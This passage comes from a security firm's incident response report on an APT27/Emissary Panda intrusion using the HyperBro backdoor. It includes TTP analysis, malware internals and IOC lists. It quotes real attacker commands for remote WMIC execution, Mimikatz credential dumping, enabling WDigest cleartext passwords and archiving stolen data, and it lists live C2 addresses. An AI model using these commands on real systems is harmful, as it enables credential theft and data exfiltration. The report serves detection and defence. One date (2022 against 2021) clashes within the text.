The last phase of their attack lasted from 18.10.2021 to the forced end of the attack on 09.11.2021.
The first reaction was the change of a DNS A record of one of their C2 domains to the IP address 127.0.0.1, which was done before the first response actions of this incident had been performed.
Furthermore, they strengthened their foothold in the network by more lateral movement and compromising more critical systems, which is described in Section 6.9.
Their last uprising was observed on 09.11.2022.
First, they started with reconnaissance by pulling a task list of the File server from the compromised Intranet server (Section 6.8.2).
Next, they prepared for data collection by creating Rar.exe (WinRar) remotely on the fileserver.
It is unclear why Emissary Panda started testing user credentials after the creation of WinRar, since they were already using a working Domain Admin and the collection of data was running as well.
Moreover, the operator of Emissary Panda mixed up the order of username and password, which explains why the credentials did not work.
Due to the mix- up, the operators probably thought that their stolen credentials have been revoked.
Hence, in the following they tried to steal new credentials by executing Mimikatz and exporting the registry.
This chaos in operations leads us to the conclusion that different phases of the attack are executed by teams with different capabilities.
The initial compromise, privilege escalation, lateral movement and data exfiltration is probably performed by higher-skilled teams, while later phases of the attack such as maintaining persistence are executed by less skilled teams.
The mix-up is described in more technical detail in Section 6.8.1.
Meanwhile the IR team had detected the activity and taken first measures to stop the data exfiltration.
While the Internet cut-off was being prepared, responders started to disrupt the attackers.
In order to stop the collection process, WinRar processes were terminated remotely, and the tools used by the attackers were manipulated and therefore disarmed.
Of course, this was not a permanent solution, but it bought responders and the management more time to prepare the Internet cut-off.
As soon as the attackers realized that the process was stopped and they couldnt launch it again, they moved to the next compromised system and started the collection process from there.
Shortly after the last observed activity the attack was stopped by cutting off internet access.
This was maintained for two weeks until all remediation measures were implemented.
HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 14 of 38 6 Description of Observed TTPs The following figure maps the observed Techniques, Tactics, and Procedures (TTPs), observed during the Emissary Panda attack to the TTPs listed by MITRE ATTCK21: Figure 6: Observed TTPs for Emissary Panda mapped to MITRE ATTCK The following subsections explain the observations for each technique and helps to understand the attack in detail.
21 https://attack.mitre.org/ T1587: Dev elop Capabilities T1587.001: Malware Resource Dev elopment T1190: Exploit Public-Facing Application T1078: Valid Accounts T1078.002: Domain Accounts T1078.003: Local Accounts Initial Access T1047: Windows Management Instrumentation Execution T1543: Create or Modif y  Sy stem Process T1574: Hijack Execution Flow T1078: Valid Accounts T1543.003: Windows Serv ice T1574.001: DLL Search Order Hijacking T1574.002: DLL Side-Loading T1078.002: Domain Accounts T1078.003: Local Accounts Persistence T1543: Create or Modif y  Sy stem Process T1574: Hijack Execution Flow T1055: Process Injection T1078: Valid Accounts T1543.003: Windows Serv ice T1574.001: DLL Search Order Hijacking T1574.002: DLL Side-Loading T1055.012: Process Hollowing T1078.002: Domain Accounts T1078.003: Local Accounts Privilege Escalation T1574: Hijack Execution Flow T1036: Masquerading T1112: Modify Registry T1055: Process Injection T1078: Valid Accounts T1574.001: DLL Search Order Hijacking T1574.002: DLL Side-Loading T1036.004: Masquerade Task or Serv ice T1036.005: Match Legitimate Name or Location T1055.012: Process Hollowing T1078.002: Domain Accounts T1078.003: Local Accounts Defense Evasion T1003: OS Credential Dumping Credential Access T1087: Account Discovery T1069: Permission Groups Discovery T1057: Process Discovery T1082: System Information Discovery Discovery T1021: Remote Services T1021.002: SMB/Windows Admin Shares Lateral Movement T1560: Archive Collected Data T1119: Automated Collection T1074: Data Staged T1560.001: Archiv e v ia Utility Collection T1071: Application Layer Protocol T1071.001: Web Protocols Command and Control https://attack.mitre.org/ HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 15 of 38 6.1 Resource Development 6.1.1 Develop Capabilities: Malware (T1587.001) The attack heavily relied on the use of the HyperBro Remote Access Tool (RAT).
According to our knowledge as well as several sources on the Internet22 23, this malware is only used by Emissary Panda.
Hence, HyperBro is most likely developed by the threat actor itself.
The backdoor relies on DLL Search Order Hijacking and DLL Side-loading, as described in Section 6.4.
Furthermore, commands sent by the attacker are executed in-memory and do not create secondary artifacts, which complicates the forensic analysis.
A detailed analysis of the malware is performed in Section Malware Analysis of HyperBro.
6.2 Initial Access 6.2.1 Exploit Public-Facing Application (T1190) The initial access to the victims infrastructure was performed by exploiting the ProxyLogon vulnerability.
The vulnerability became apparent to the public when Microsoft published a blog post on 02.03.2021 stating that a new critical Exchange vulnerability was being actively exploited by attackers24.
The first communication of the victims Exchange servers with the C2 IP addresses occurred on 04.03.2021.
Furthermore, the Exchange servers were the first systems to communicate with the malicious IP addresses.
Although, the initial system could not be forensically analyzed, the Firewall logs, the timing of Microsofts publication, and the first communication are sufficient to assume, that the initial access vector was in fact ProxyLogon.
This leads to the conclusion that Emissary Panda used the exploitation of the public-facing Exchange server for their initial access.
6.3 Execution 6.3.1 Windows Management Instrumentation (T1047) Emissary Panda was observed to utilize the Windows Management Instrumentation (WMI) to execute malware, scripts, commands, and collection tools.
wmic /node:HOSTNAME process call create cmd /c c:\perflogs\vfhost.exe wmic /node:IP process call create cmd /c c:\perflogs\vfhost.exe wmic /node:IP process call create cmd /c c:\temp\vfhost.exe wmic /node:IP process call create cmd /c d:\recycle.bin\bin.bat wmic /node:IP process call create  Rar.exe a d:\PATH\log E:\TARGET_DIR_1\ E:\TARGET_DIR_2\ H:\TARGET_DIR_3\.xls E:\TARGET_DIR_4\ H:\ TARGET_DIR_3\.csv E:\TARGET_DIR_5\ E:\ TARGET_DIR_6\ d:\Users\Homes\USER\ -r -y -hpC0yHvnGojFe9aqyM5VqT9ik4tkVnuKkPk8t -v5444M 22 https://attack.mitre.org/software/S0398/ 23 https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperbro 24 https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/ https://attack.mitre.org/software/S0398/ https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperbro https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/ HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 16 of 38 The first three lines show the remote execution of the HyperBro malware on different systems using different locations.
In preparation to this remote execution, the corresponding malware files were dropped over an SMB connection authenticated by a legit domain admin.
Following the placement of the malware, it is executed remotely with WMIC by referencing the remote system with its IP or hostname.
The fourth command shows the same technique for a malicious Batch script.
Last, the collection tool was executed remotely with the same technique.
The specified partitions (D:\ and E:\) are located on the target system.
Hence, the collection tool was also placed on the target system beforehand.
A detailed description of the command can be found in Section 6.10.
6.4 Persistence 6.4.1 Create or Modify System Process: Windows Service (T1543.003) The threat actor has utilized Windows Services to achieve persistence of their HyperBro backdoor.
The Windows service has the following settings: Name       windefenders Display    Windows Defenders ImagePath  C:\Program Files (x86)\Common Files\windefenders\msmpeng.exe Type       0x0 Start      Auto Start Group The path of the service points to the malware, which was dropped at this location beforehand.
Furthermore, the service is set to Auto Start to ensure persistence.
Prior to creating this service, the threat actor created a similar service with the name windefende-921919155 but deleted it within a few seconds.
This behavior was observed multiple times with variations in numbers.
Hence, the service names windefende-[0-9]9 could also serve as IOCs.
6.4.2 Boot or Logon Autostart Execution: Registry Run Keys (T1547.001) Another observed way of persistence was the utilization of a Registry run key for the current user.
The key being used for persistence had the following name: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\windefenders This is a backup mechanism for the establishment of persistence, if the compromise account does not have enough privileges for the creation of a Windows Service 6.4.3 Valid Accounts: Domain Accounts (T1078.002) and Local Accounts (T1078.003) During the attack, valid accounts were used for Persistence, Lateral Movement, Defense Evasion, Execution as well as Collection.
Hence, there is no optimal sub-section for the placement of this technique.
The accounts included both local accounts, such as the built-in administrator, as well as domain accounts, which were mainly domain administrators.
HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 17 of 38 6.5 Privilege Escalation Since the initial access with the exploitation of ProxyLogon (Section 6.2) provided the attacker already with system-level access to an Exchange server, and dumping of credentials (Section 6.7.1) provided a local administrator account and a domain admin account (Section 6.4.3), which could be used for lateral movement, there was no need for escalating privileges.
6.6 Defense Evasion 6.6.1 Hijack Execution Flow: DLL Search Order Hijacking (T1574.001) and DLL Side-Loading (T1574.002) As described in multiple reports25 26, Emissary Panda often drops a legit application, which then side-loads a malicious DLL.
Since Windows first searches for the DLL in the same directory as the application is launched27, the malicious DLL is loaded even if the original DLL exists on the target system.
Hence, the DLL search order is hijacked by placing the files in the same directory.
The following two files are placed in the same directory to perform DLL Search Order Hijacking (T1574.001) and DLL Side-Loading: msmpeng.exe  Renamed, but legit application signed by CyberArk28 vftrace.dll  Malicious DLL containing backdoor After placing the files in one directory, the msmpeng.exe is executed, which then loads the vftrace.dll.
Hence, the malicious code of the DLL is running in the context of a legit application.
6.6.2 Modify Registry (T1112) The configuration of the malware is stored in the Windows Registry.
Therefore, the Registry key HKLM\SOFTWARE\WOW6432Node\Microsoft\config_ is used.
The following values are stored under this key: .msmpeng.exe.vftrace.dll thumb.dat1C:\Program Files (x86)\Common Files\windefenders\.company_name.0101.windefenders.windefenders.
Windows Defenders.
Windows Defenders Service..87.98.190.184..fonts.dataanalyticsclub.com.
87.98.190.184.
The configuration information includes, the filenames, the service name used for persistence, and C2 IPs as well as C2 domains.
25 https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/ 26 https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/ 27 https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order 28https://www.virustotal.com/gui/file/df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348/de tails https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/ https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/ https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order https://www.virustotal.com/gui/file/df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348/details https://www.virustotal.com/gui/file/df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348/details HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 18 of 38 Besides storing their C2 configuration in the registry, Emissary Panda modified an existing registry key.
Due to modifying the following registry key, they activated the storage of clear text passwords after logon in WDigest: Reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1 This forces logon credentials to be stored in clear text, which can then be dumped by tools like Mimikatz, as described in Section 6.7.1.
6.6.3 Process Injection: Process Hollowing (1055.012) Since most of the manually executed commands, such as reconnaissance, were executed in the context of the legit process wermgr.exe, it is concluded that Emissary Panda performed process hollowing to avoid detection by security tools.
This thesis is supported by the fact, that the executable related to the process ID is the legit wermgr.exe of Windows.
Furthermore, the capability for process hollowing as well as the corresponding strings within the malware were identified during our malware analysis of HyperBro, which is described in Section 8.3.
The following screenshot shows an excerpt of the EDR tool, which displays the reconnaissance activity in the context of wermgr.exe: Figure 7: Process Hollowing used to execute malicious commands in the context of legit wermgr.exe 6.6.4 Masquerading: Service (T1036.004), filename, and file location (T1036.005) On several occasions, Emissary Panda tried to evade defenses by using names, which are associated with security tools.
This fact was also mentioned in previous reports29.
In the referenced reports, Emissary Panda used a legitimate Symantec executable.
In the case of this attack, Emissary Panda used an executable, which is signed by CyberArk and named as the Microsoft Defender.
Furthermore, the executable was placed in common paths for Microsoft Defender: C:\Program Files (x86)\Common Files\windefenders\msmpeng.exe C:\Program Files (x86)\Common Files\windefenders\vftrace.dll D:\recycle.bin\ As already mentioned in Section 6.4.1, the service used for persistence was also named after the Microsoft Defender.
Last, the recycle bin was utilized to store the output-archives of the collection tool, as described in Section 6.10.1.
29 https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/ https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/ HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 19 of 38 6.7 Credential Access 6.7.1 OS Credential Dumping T1003 In order to gain valid credentials of accounts, Emissary Panda used techniques for credential dumping.
This also explains the extensive use of valid accounts, as described in Section 6.4.3.
The following command was observed during the attack: msiexec.exe privilege::debug sekurlsa::logonPasswords The command line parameters equal the parameters of the credential dumping tool Mimikatz30.
Since the process is running in a valid msiexec process, the attacker performed credential dumping in combination with process hollowing, as described in Section 6.6.3.
6.8 Discovery 6.8.1 Account Discovery (T1087.001) and Permission Groups Discovery T1069 To gain more information about the Active Directory accounts and groups, Emissary Panda utilized the classic Windows net tool.
net user USER /domain net1 user ADMIN /domain net group domain admins /domain net view \\IP net use \\IP\ipc PASSWORD Apparently, the operator of Emissary Panda mixed up the order of username and password in the net use command.
Hence, the password could be seen in clear-text and the username was redacted by the EDR.
6.8.2 Process Discovery T1057 Emissary Panda used the Tasklist utility to remotely gather information about running processes on systems.
The following command shows a remote execution of Tasklist, which stores the outputs to a file located in the Recycle Bin: wmic /node:IP process call create cmd /c tasklist d:\recycle.bin\task.dat 6.8.3 System Information Discovery (T1082) As a preparation for the data collection, Emissary Panda checked the used disk space of their target directories.
The following command shows how they gained the used disk space for a home directory of a User, located on the fileserver: diruse /m / \\IP\d\Users\Homes\USER The command outputs the used disk space in Megabyte.
30 https://github.com/gentilkiwi/mimikatz https://github.com/gentilkiwi/mimikatz HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 20 of 38 6.9 Lateral Movement 6.9.1 Remote Services: SMB Shares (T1021.002) The threat actor utilized SMB shares to drop malware on remote systems.
Following, the execution of the malware was performed as described in Section 6.3.1.
In order to access SMB shares on remote systems, Emissary Panda used valid accounts as described in Section 6.4.3.
6.10 Collection 6.10.1 Archive via Utility (T1560.001) and Automated Collection (T1119) Based on the observed hashes and parameters, Emissary Panda was using Winrar to collect data in archives.
The following commands show data collection performed on the fileserver: Rar.exe a d:\PATH\log E:\TARGET_DIR_1\ E:\TARGET_DIR_2\ H:\ TARGET_DIR_3\.xls E:\TARGET_DIR_4\ H:\TARGET_DIR_3\.csv E:\ TARGET_DIR_5\ E:\TARGET_DIR_6\ d:\Users\Homes\USER\ -r -y - hpC0yHvnGojFe9aqyM5VqT9ik4tkVnuKkPk8t -v5444M Rar.exe a \\IP_1\d\recycle.bin\bin.rar \\IP_2\E\TARGET_DIR_1\ \\IP_2\E\TARGET_DIR_2\ \\IP_2\h\TARGET_DIR_3\.xls \\IP_2\E\TARGET_DIR_4\ \\IP_2\h\TARGET_DIR_3\.csv \\IP_2\E\TARGET_DIR_5\ \\IP_2\d\Users\Homes\USER\ -r -y -inul - hpC0yHvnGojFe9aqyM5VqT9ik4tkVnuKkPk8t -v5767M The first command was launched remotely via WMIC on the fileserver.
The collected files as well as the output archive is located on the fileserver.
The second command writes its output not to the fileserver but to another compromised system in the recycle bin.
Both commands use the same password to encrypt the archives (incl.
file and directory names).
Finally, both commands use different sizes for their partial archives, but the target directories are the same.
6.10.2 Data Staged (T1074) As can be seen in the commands of the Section 6.10.1, the output of the collection is staged.
This means that the first command creates partial archives of 5444 MB and the second command of 5767 MB.
The partial archives are exfiltrated directly after creation and deleted afterwards.
HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 21 of 38 6.11 Command and Control 6.11.1 Application Layer Protocol: Web Protocols T1071.001 The C2 communication was performed over HTTPS, which could be observed in the firewall logs.
Since the content was encrypted no statement regarding the content can be made.
Nevertheless, the backdoor on all compromised systems was sending beacons to the C2 IP addresses in regular intervals.
Via memory analysis of a compromised systems the following post request with User Agent could be extracted: POST /api/v2/ajax HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 6.3 WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36 Content-Length: 87 Host: 87.98.190.184 The IP address 87.98.190.184 is one of the C2 IP addresses used by Emissary Panda.
HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 22 of 38 7 OSINT analysis of C2 infrastructure Observed C2 communication as well as HyperBro artifacts were analyzed and researched for additional indicators and common attributes.
In the analyzed samples, HyperBro uses a HTTPS protocol endpoint under the following path: /api/v2/ajax.
This is a unique web application path, which is very well suited for detecting HyperBro traffic.
No legitimate applications or web installations have been identified that access this endpoint.
Furthermore, we noted that multiple Emissary Panda C2 addresses share the identical Jarm hash 3fd3fd16d3fd3fd22c3fd3fd3fd3fdf20014c17cd0943e6d9e2fb9cd59862b as well as a specific .cybo-cloud.com certificate: Subject  CN.cybo-cloud.com Issuer   CUS, ODigiCert Inc, OUwww.digicert.com, CNRapidSSL RSA CA 2018 Serial   Decimal: 3163476740895991561136217391472201532 Hex: 0x261437201eb9a171027589b0d724f3c Validity 2018-01-22 00:00:00 to 2021-04-21 12:00:00 (1185 days, 12:00:00) Names  .cybo-cloud.com cybo-cloud.com SHA-256 84e285d08381eb40ca1c218e51a3f9efe4d7ccd95c53e4a6bec9fa5e858a50d7 SHA-1  44b9d089cf734d2478165a8539b23aed51887f7d MD5  210cbb1ed295fd13497a3e45a71a5240 We were able to directly confirm seven C2 IP addresses with this specific Jarm hash and TLS certificate combination.
Passive DNS data suggests that also the following IP addresses might be related to Emissary Panda as these share the Jarm hash and TLS certificate as well.
However, at the time of writing, this suspicion was not confirmed.
104.168.143.39 104.168.211.246 138.124.180.56 152.228.248.233 154.38.118.188 194.156.98.129 45.76.208.198 45.77.32.139 47.75.189.54 8.210.39.213 In addition, it was observed that Emissary Panda reacted to incident response activities via resolving their C2 domain dataanalyticsclub.com to the localhost IP address 127.0.0.1.
Thereby, effectively hiding their C2 traffic.
Hence, active HyperBro backdoors on webservers might be identified by reviewing the local access log for requests to the following path: /api/v2/ajax.
HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 23 of 38 8 Malware Analysis of HyperBro As described in other public reports31, HyperBro is a custom malware of Emissary Panda used as RAT.
An analysis32 of the HyperBro version used in this attack campaign was recently published by the German domestic intelligence services (Bundesamt fr Verfassungsschutz, BfV).
In addition to this publication, we provide additional technical details about the inner workings and capabilities of the malware.
Furthermore, we created and published a tool, which is able to extract the configuration from the malware.
This enables analysts to quickly retrieve the IOCs from HyperBro samples.
Finally, this chapter also summarizes the capabilities and available C2 commands of HyperBro.
8.1 Overview The HyperBro malware consists of the following components: Component Description msmpeng.exe / vfhost.exe Legit application signed by CyberArk33, used for DLL Side-Loading vftrace.dll (Stage 1) Malicious DLL containing Stage 1 / the first loader thumb.dat (Stage 2) The file is encrypted with a weak one-byte key.
After decryption, it contains a loader for the PE Executable, which is also contained as compressed buffer within the thumb.dat PE Executable (Stage 3) Contains the actual HyperBro backdoor written in C config.ini  Created after the first execution and contains a randomly generated GUID To launch HyperBro, the legit CyberArk application msmpeng.exe / vfhost.exe is executed.
Due to DLL Search Order Hijacking and DLL Side-Loading, as described in Section 6.6.1, this application loads the malicious vftrace.dll.
We refer to vftrace.dll as Stage 1 of the malware.
The malicious DLL then opens and reads thumb.dat, which we refer to as Stage 2.
This file is encrypted with a weak one-byte key.
It contains a loader and a compressed PE Executable.
The loader decompresses the PE Executable within the thumb.dat and prepares it for execution.
The decompressed PE Executable then contains the actual HyperBro backdoor, which we refer to as Stage 3.
The exact process of decryption, decompression, and loading is explained in more detail in the following sections.
The complete process is depicted in Figure 8.
31 https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/ 32 https://www.verfassungsschutz.de/SharedDocs/kurzmeldungen/DE/2022/2022-01-26-cyberbrief.html 33https://www.virustotal.com/gui/file/df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348/de tails https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/ https://www.verfassungsschutz.de/SharedDocs/kurzmeldungen/DE/2022/2022-01-26-cyberbrief.html https://www.virustotal.com/gui/file/df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348/details https://www.virustotal.com/gui/file/df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348/details HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 24 of 38 8.2 PE Loader As displayed in Figure 8, the first stage opens and decrypts the thumb.dat file.
Figure 9 shows a screenshot of the decryption routine (first red box) and the launch of the decrypted PE Loader.
The decryption routine simply adds the byte 0xfc to each byte of the thumb.dat file.
This is a rather simple encryption with a one-byte key, which can easily be reproduced.
Figure 8: Malware Flow The decrypted thumb.dat file contains the second stage, which is referenced to as the PE Loader, as well as a compressed PE file.
The used compression method for Stage 3 is LZNT134.
Since the vftrace.dll simply jumps to the beginning of the PE Loader, no functions are loaded or linked.
Effectively, the program is started with no linked or imported functions.
Hence, the PE Loader needs to initialize itself.
34 https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-xca/94164d22-2928-4417-876e-d193766c4db6 https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-xca/94164d22-2928-4417-876e-d193766c4db6 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 25 of 38 Figure 9: Decryption of thumb.dat and launch of PE Loader A rather special method was chosen for this initialization.
The loader contains a set of pairs of library and function names (both hashed with a custom hash function).
To resolve the function, the Thread Information Block (TIB) of the current process is loaded.
Afterwards the Process Environment Block (PEB) is accessed, and the loaded modules are iterated to find the searched library.
Following, the export table of the library is parsed to find the function.
Figure 10: Structure with function pointers after resolving procedure via hashing HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 26 of 38 As stated before, the library and function names are stored in a hashed form.
The utilized hash function was only seen in one other public report from Palo Altos Unit 42  published in 2017.
The result of the function resolution via the hashing algorithm is a structure containing several functions pointer, as can be seen in Figure 10.
Figure 11: Parameters of decompress buffer functions of PE Loader Next, the loader invokes a function that is used for decompressing the PE file contained in the decrypted thumb.dat.
The parameters of the function can be seen in Figure 11, while the function itself is display in Figure 12.
Figure 12: Decompress buffer function of PE Loader After successful execution the decompress_buffer function, another function parses the decompressed buffer, which is the third stage (PE Executable), loads its sections into memory, sets up the correct permissions on its memory pages, and finally launches the third stage.
An excerpt of the launch_payload function can be seen in Figure 13.
HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 27 of 38 Figure 13: Stage 3 launcher Since the PE loader has effectively no import table, but only a structure of function pointers, it is less likely to be detected by Antivirus products.
The products often look for suspicious library functions, which are loaded by a program, for example WinHttp.
The result of the PE loader is a loaded and launched third stage.
HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 28 of 38 8.3 Capabilities The actual backdoor (Stage 3) shows sophisticated capabilities regarding remote access and command and control, as well as persistence and evasion.
The following classes were found during the analysis, which provide a first indication of the functionality of the malware.
TCaptureData TCaptureMgr TClipboardInfo TClipboardMgr Tcommdand TConfig TDirve (not a typo) TFileData TFileDataReq TFileDown TSock TUserMgr TFileInfo TFileMgr TFileRename TFileRetime TFileUpload TKeyboardMgr TKeyboarrdInfo TLogin TLoop TPacket TTransConnect TTransData TProcessInfo TprocessMgr TRegeditKeyinfo TRegeditMgr TRegeditValueInfo TServiceInfo TServiceMgr TShellcodeData TshellCodeMgr TShellMgr Furthermore, the malware has the capability to gain persistence in multiple ways on the target system.
One way is the creation of a Windows Service, as described in Section 3.4.1.
Another way is the creation of a Run Key within the Windows Registry, as described in Section 6.4.2.
Stage 3 is a sophisticated backdoor with various capabilities.
It is controlled from a C2 server, which provides commands to the backdoor by responding to HTTPS requests originating from the backdoor.
The first byte of the HTTPS response contains a byte specifying the command for the backdoor.
Based on the command the backdoor executes one of eight operations.
The table in this subsection describes the operations of Stage 3.
HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 29 of 38 Command code Description 0x0 No operation / Wait for commands 0x10 Initial Logon to C2 server.
Register new backdoor at C2 server 0x15 Delete everything Deletes the file: path\windefenders\config.ini Deletes the file: path\windefenders\log.log Deletes the file: path\windefenders\msmpeng.exe Deletes the file: path\windefenders\vftrace.dll Deletes the file: path\windefenders\thumb.dat Deletes the directory: path\windefenders Deletes the registry key: HKLM\SOFTWARE\Microsoft\config_ Note that the paths/files depend on the current configuration of the malware 0x17 Get information about the infected system: Get logged on user and check privileges of the user Send information to C2 0x18 Perform Process Hollowing: Restarts the backdoor in a hollowed process The following legit target processes are utilized: svchost.exe -k networkservice svchost.exe -k localservice Stop the current instance of the backdoor if hollowing was successful 0x1B Opens a remote shell and executes received commands: Sleep time of the while loop in the backdoor is decreased from 1000 ms to 100 ms for more responsive behavior of the remote shell Creates a new thread, which pulls commands from C2 server, which are then executed The results are sent to the C2 server 0x1D Update malware: Drops a new executable under Temp: Temp\current clock tick.exe Launches the new executable Exits the running process after launch was successful 0x1F Updates the configuration of the backdoor: Copies the new configuration from the received packet to the in-memory configuration of the backdoor (TConfig) Connects to new C2 server Closes old connection, after the new connection was established successfully Subcommand 0x10 Updates additional configuration of the running malware Subcommand 0x14 Update configuration regarding persistence Update Registry keys Update Windows Service Update File paths HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 30 of 38 8.4 HyperBro Configuration Extractor In our online research about Emissary Panda and HyperBro, we found multiple descriptions of the malware but no tool, which is able to extract the malware configuration from the encrypted thumb.dat file.
In order to develop such a tool, we reverse engineered the malware and re-implemented the decryption of thumb.dat, the decompression of Stage 3, and implemented a configuration parser for Stage 3.
The tool can be found in our GitHub Repository: https://github.com/hvs-consulting/HyperBroExtractor The tool runs through the steps from the thumb.dat as input to the decompressed PE file (Stage 3), as displayed in Figure 8.
python3 HyperBro_extract_config.py -i thumb.dat -k fc [] The key is: 0xfc [] Decryption successful [] Decompression of PE successful [] HyperBro extracted config: Legit launcher used for DLL-Side-Loading:  msmpeng.exe Stage 1:                                   vftrace.dll Stage 2:                                   thumb.dat Stage 3:                                   thumb.dat Malware Directory:                         windefenders Domain (changed at runtime):               Default Windows Service used for persistence:      Windows Defenders Command and Control IP address:            104.168.236.46 User Agent:                                Mozilla/5.0 (Windows NT 6.3 WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36 HTTPS Request Information:                 POSThttps://s:d/api/v2/ajax Pipe name used for IPC:                    \\.\pipe\testpipe At first, the thumb.dat file needs to be decrypted.
Therefore, we analyzed the decryption algorithm contained in Stage 1 and extracted the corresponding key.
Since the key is only one byte long, and it is simply added to each byte of the thumb.dat, the encryption is not very strong.
To increase the stability of our tool, a brute-force function for the one-byte key was implemented as well as a detection for a correct decryption.
After the correct key is found, the thumb.dat is decrypted.
Next, the beginning of the PE file is identified in the decrypted thumb.dat.
The file consists of the PE Loader (Stage 2), and a compressed PE file (Stage 3).
As stage 3 is compressed with LZNT1, a LZNT1 compressed PE header is used as a signature to identify the start of Stage 3.
Next, the compressed PE file can be decompressed, which results in the actual HyperBro backdoor.
Last, the configuration of Stage 3 is parsed by the tool, i.e., it extracts multiple hard-coded parameters, like the IP of the initial C2 server, the user agent utilized in HTTP requests, etc.
An example of the output can be seen above In this case, the key is specified as a command-line parameter.
The resulting IoCs as well as their utilization for detection, are described in more detail in Section 7.
https://github.com/hvs-consulting/HyperBroExtractor HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 31 of 38 9 Detection of Emissary Pandas activities 9.1 Indicators of Compromise (IOCs) The IOCs in this section were partially collected during the incident and partially gathered via OSINT research.
If you plan to use these IOCs in your organization, we recommend copying them from our public GitHub Repository: https://github.com/hvs-consulting/ioc_signatures/tree/main/Emissary_Panda_APT27 The repository also contains a MISP Event35 which is structured in MISP objects and comprises additional contextual information.
All the IOCs are classified as TLP White.
Category Type Value Comment Artifacts dropped named pipe testpipe HyperBro RAT - named pipe Artifacts dropped windows- service- name windefenders HyperBro RAT - persistence mechanism Artifacts dropped windows- service- name windefende-921919155 Persistence mechanism of HyperBro RAT Network activity domain dataanalyticsclub.com Domain address used for C2 communication Network activity ip-dst 34.90.207.23 APT27 C2 used during Hafnium attacks reported by welivesecurity.com Network activity ip-dst 103.79.77.200 IP address used for C2 communication Network activity ip-dst 104.168.236.46 IP address used for C2 communication Network activity ip-dst 193.203.203.26 IP address used for C2 communication Network activity ip-dst 74.119.194.153 IP address used for C2 communication Network activity ip-dst 87.98.190.184 IP address used for C2 communication Network activity ip-dst 107.148.131.210 IP address used for C2 communication Network activity ip-dst 35.187.148.253 IP address used for C2 communication Network activity ip-dst 103.79.78.48 IP address used for C2 communication Network activity ip-dst 45.77.250.141 IP address used for C2 communication Network activity domain image.dataanalyticsclub.com Domain address used for C2 communication Network activity domain avatars.dataanalyticsclub.com Domain address used for C2 communication Network activity domain fonts.dataanalyticsclub.com PassiveTotal First 2021-11-10 Last 2022-01- 03 Network activity url /api/v2/ajax Malicious endpoint on C2 servers Network activity url https://107.148.131.210/api/v2/ajax URL used for C2 communication Network activity url http://35.187.148.253/api/v2/ajax URL used for C2 communication Network activity text Mozilla/5.0 